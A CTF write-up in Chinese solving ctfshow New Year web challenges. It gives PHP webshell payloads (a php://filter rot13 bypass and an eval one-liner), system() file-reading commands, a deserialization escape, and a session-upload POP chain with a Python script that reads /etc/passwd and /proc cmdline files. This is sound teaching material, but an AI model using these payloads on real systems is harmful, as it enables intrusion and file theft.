【ctfshow欢乐新春赛】write up

前言

过年的时候在打hgame,看了下这个新春赛的题目还是有一定难度的,这里补个票。

热身

查看源码:

1
eval($_GET['f']);

相当简单粗暴,但是有一个疑点,没有highlight_file(__FILE__);代码但是却显示了代码,因此怀疑有包含,不过直接上phpinfo就能找到flag位置了:

1
2
?f=phpinfo();
?f=system('tac /etc/ssh/secret/youneverknow/secret.php');

web1

查看源码:

1
2
3
4
5
highlight_file(__FILE__);
error_reporting(0);

$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);

很明显这里要绕过这个死亡exit(),这里要利用php://filter伪协议写入shell,payload如下:

1
?content=php://filter/write=string.rot13|<?cuc @riny($_cbfg["zey64"]);?>/resource=shell.php

然后蚁剑连接即可。

web2

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
session_start();
error_reporting(0);

include "flag.php";

if(count($_POST)===1){
extract($_POST);
if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
echo $flag;
}
}

首先函数开启session(),接着发现我们可以POST传入一个东西进去,并且我们传进去的东西会先执行extract()函数,最后判断call_user_func($$$$$${key($_POST)}的值是否为HappyNewYear。

了解逻辑后,我们开始构建payload。首先我们POST传值:

1
session_id=session_id

这样进行extract($_POST);时,我们会得到$session_id=session_id这个结果,而${key($_POST)}表示的就是以我们POST的变量名做为新变量的变量名,这样套个娃就会发现if中的语句就变成了call_user_func($session_id)==="HappyNewYear",因此我们更改PHPSESSID的值就可以了。

完整payload:

1
2
POST:session_id=session_id
cookie:PHPSESSID=HappyNewYear

web3

查看源码:

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);

include "flag.php";
$key= call_user_func(($_GET[1]));

if($key=="HappyNewYear"){
echo $flag;
}

die("虎年大吉,新春快乐!");

这题刚开始看着懵懵的,但其实想清楚后就感觉不是很难。本质上这题考的就是一个弱类型比较,只要$key能够得到一个bool(true)就可以解决了,因此这题考的就是对函数的熟悉程度了。

找了几个payload,都可以解决这个问题:

1
2
3
?1=session_start
?1=json_last_error
?1=error_reporting

web4

查看源码:

1
2
3
4
5
6
7
highlight_file(__FILE__);
error_reporting(0);

$key= call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");

die("虎年大吉,新春快乐!");

这题看着就更麻了,看了wp才懂。这里要用到一个函数:spl_autoload_extensions()

spl_autoload_extensions(file_extensions) — 注册并返回 spl_autoload 函数使用的默认文件扩展名
file_extensions:当不使用任何参数调用此函数时,它返回当前的文件扩展名的列表,不同的扩展名用逗号分隔。要修改文件扩展名列表,用一个逗号分隔的新的扩展名列表字符串来调用本函数即可。默认的 spl_autoload 函数使用的扩展名是 “.inc,.php”。

因此我们GET传入这个函数,就会生成一个内容为一句马的,名字叫.inc,.php的shell文件,之后命令执行即可。payload:

1
2
3
4
5
6
第一步:?1=spl_autoload_extensions


第二步:/.inc,.php
POST:1=system('ls ../../../');
1=system('cat ../../../f1ag.txt');

web5

查看源码:

1
2
3
4
5
6
7
8
error_reporting(0);
highlight_file(__FILE__);


include "🐯🐯.php";
file_put_contents("🐯", $flag);
$🐯 = str_replace("hu", "🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯", $_POST['🐯']);
file_put_contents("🐯", $🐯);

逻辑就是将flag写入文件🐯中,但是最后会把$🐯的内容写入,从而导致flag被覆盖。因此我们要利用str_replace()函数的特性,上传超长字符串导致溢出从而使得出现致命错误导致变量命名失败,这样就可以绕过最后的写入了。

根据计算,需要2097152个hu才能溢出,因此用python生成:

1
2
3
4
5
6
7
8
hu = 'hu'
flag = ''
file_handle=open('1.txt',mode='w')
for i in range(0,2097152):
flag += hu
file_handle.write(flag)
file_handle.close()
print('ok')

用bp传值,然后下载文件即可获取flag。

web6

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);
highlight_file(__FILE__);
$function = $_GET['POST'];

function filter($img){
$filter_arr = array('ctfshow','daniu','happyhuyear');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

if($_SESSION){
unset($_SESSION);
}

$_SESSION['function'] = $function;

extract($_POST['GET']);

$_SESSION['file'] = base64_encode("/root/flag");

$serialize_info = filter(serialize($_SESSION));

if($function == 'GET'){
$userinfo = unserialize($serialize_info);
//出题人已经拿过flag,题目正常,也就是说...
echo file_get_contents(base64_decode($userinfo['file']));
}

反序列化相关的题真的好难。审计源码首先我们需要$function='GET',接着要利用file_get_contents读取文件,看了wp后了解到应该要读取nginx日志/var/log/nginx/access.log

这里应用到反序列化逃逸这个知识点,构建payload:

1
GET[_SESSION][ctfshowdaniu]=s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}

这个payload我啃了好久才啃懂。

extract($_POST['GET']);,我们需要POST一个数组GET[_SESSION][ctfshowdaniu],这样传进去就可以得到$_SESSION数组变量,ctfshowdaniu是数组变量中的一个键。

接着要进行字符串逃逸,因此我们要利用到filter函数。首先我们来看看SESSION一开始的序列化内容:

1
a:2:{s:12:"ctfshowdaniu";s:70:"s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}";s:4:"file";s:16:"L3Jvb3QvZmxhZw==";}

而利用这个函数后吞掉了ctfshowdaniu,因此序列化内容变成了下面这个:

1
a:2:{s:12:"";s:70:"s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}";s:4:"file";s:16:"L3Jvb3QvZmxhZw==";}

那么替换成空后,又需要12个字符,因此后面的12个字符";s:70:"s:1:就被当做了字符串处理。而这个70被屏蔽后payload长度就没有限制了,因此后面";s:4:"file";s:16:"L3Jvb3QvZmxhZw==";}的部分就不会有作用了。

最后查看日志得到信息,访问http://127.0.0.1/ctfshow得到flag。

web7

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();

if (isset($_GET['phpinfo']))
{
phpinfo();
}
if (isset($_GET['source']))
{
highlight_file("class.php");
}

$happy=new Happy();
$happy();
?>

class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
$happy=new Happy();
$happy();
?>
<?php
class Happy {
public $happy;
function __construct(){
$this->happy="Happy_New_Year!!!";

}
function __destruct(){
$this->happy->happy;

}
public function __call($funName, $arguments){
die($this->happy->$funName);
}

public function __set($key,$value)
{
$this->happy->$key = $value;
}
public function __invoke()
{
echo $this->happy;
}


}

class _New_{
public $daniu;
public $robot;
public $notrobot;
private $_New_;
function __construct(){
$this->daniu="I'm daniu.";
$this->robot="I'm robot.";
$this->notrobot="I'm not a robot.";

}
public function __call($funName, $arguments){
echo $this->daniu.$funName."not exists!!!";
}

public function __invoke()
{
echo $this->daniu;
$this->daniu=$this->robot;
echo $this->daniu;
}
public function __toString()
{
$robot=$this->robot;
$this->daniu->$robot=$this->notrobot;
return (string)$this->daniu;

}
public function __get($key){
echo $this->daniu.$key."not exists!!!";
}

}
class Year{
public $zodiac;
public function __invoke()
{
echo "happy ".$this->zodiac." year!";

}
function __construct(){
$this->zodiac="Hu";
}
public function __toString()
{
$this->show();

}
public function __set($key,$value)#3
{
$this->$key = $value;
}

public function show(){
die(file_get_contents($this->zodiac));
}
public function __wakeup()
{
$this->zodiac = 'hu';
}

}
?>

我现在修成归来,首先查看phpinfo:

完美符合Session反序列化的特征,接下来重点就是分析pop链了。审计代码,发现file_get_contents()函数存在于Year类的show()中,那么这里就是pop链的终点。为了达到这个终点,我们发现Year类的__toString()魔术方法中有调用,因此我们要让$zodiac的值为Year类的实例化对象。而为了到达这个魔术方法,我们要用到_New_类中的__toString()魔术方法,因为这个魔术方法中存在$this->daniu->$robot=$this->notrobot。因此我们要触发__get()魔术方法,其中的字符串拼接可以触发_NEW_类中的__toString()。而要触发__get()魔术方法需要访问一个不存在的变量,我们可以利用Happy类的__destruct()来进行触发。

因此pop链的逻辑如下:

1
Happy:__destruct() -> _NEW_:__get() -> _NEW_:__toString() -> Year:__toString() -> Year:show

编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Happy {
public $happy;
}

class _New_{
public $daniu;
public $robot;
public $notrobot;
}
class Year{
public $zodiac;
}

$a = new Happy();
$a -> happy = new _New_();
$a -> happy -> daniu = new _NEW_();
$a -> happy -> daniu -> daniu = new Year();
$a -> happy -> daniu -> robot = "zodiac";
$a -> happy -> daniu -> notrobot = "/etc/passwd";
var_dump(serialize($a));
?>

payload:

1
|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:11:\"/etc/passwd\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}

然后构造表单上传文件,更改filename为payload,得到任意文件读取:

1
2
3
4
5
<form action="http://cd050ab5-a6ad-4f28-b9eb-195f497f0319.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name='PHP_SESSION_UPLOAD_PROGRESS' value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

这一步是看wp学到的,这里要读取/proc目录,而/proc/{pid}/cmdline 是所有用户均可读的,可以编写脚本爆一下进程id的cmdline:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time


def get_file(filename):
data="""------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123
------WebKitFormBoundarytyYa582A3zCNLMeL
Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}\"
Content-Type: text/plain


------WebKitFormBoundarytyYa582A3zCNLMeL--"""
r=requests.post(url='http://cd050ab5-a6ad-4f28-b9eb-195f497f0319.challenge.ctf.show/',data=data,headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundarytyYa582A3zCNLMeL','Cookie': 'PHPSESSID=a0bb8d5e6a7b50170a0f96ef5ea7c2c1'})
return(r.text.encode()[1990:])

for i in range(999):
print(i)
print(get_file('/proc/'+str(i)+'/cmdline'))
time.sleep(0.2)

发现114进程存在server.py,读取源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import *
import os

app = Flask(__name__)
flag=open('/flag','r')
#flag我删了
os.remove('/flag')

@app.route('/', methods=['GET', 'POST'])
def index():
return "flag我删了,你们别找了"

@app.route('/download/', methods=['GET', 'POST'])
def download_file():
return send_file(request.args['filename'])


if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)

虽然flag被删了,但是flask在5000端口有一个server,且有一个任意读取路径,因此读取:

1
http://127.0.0.1:5000/download/?filename=/proc/self/fd/3

得到flag。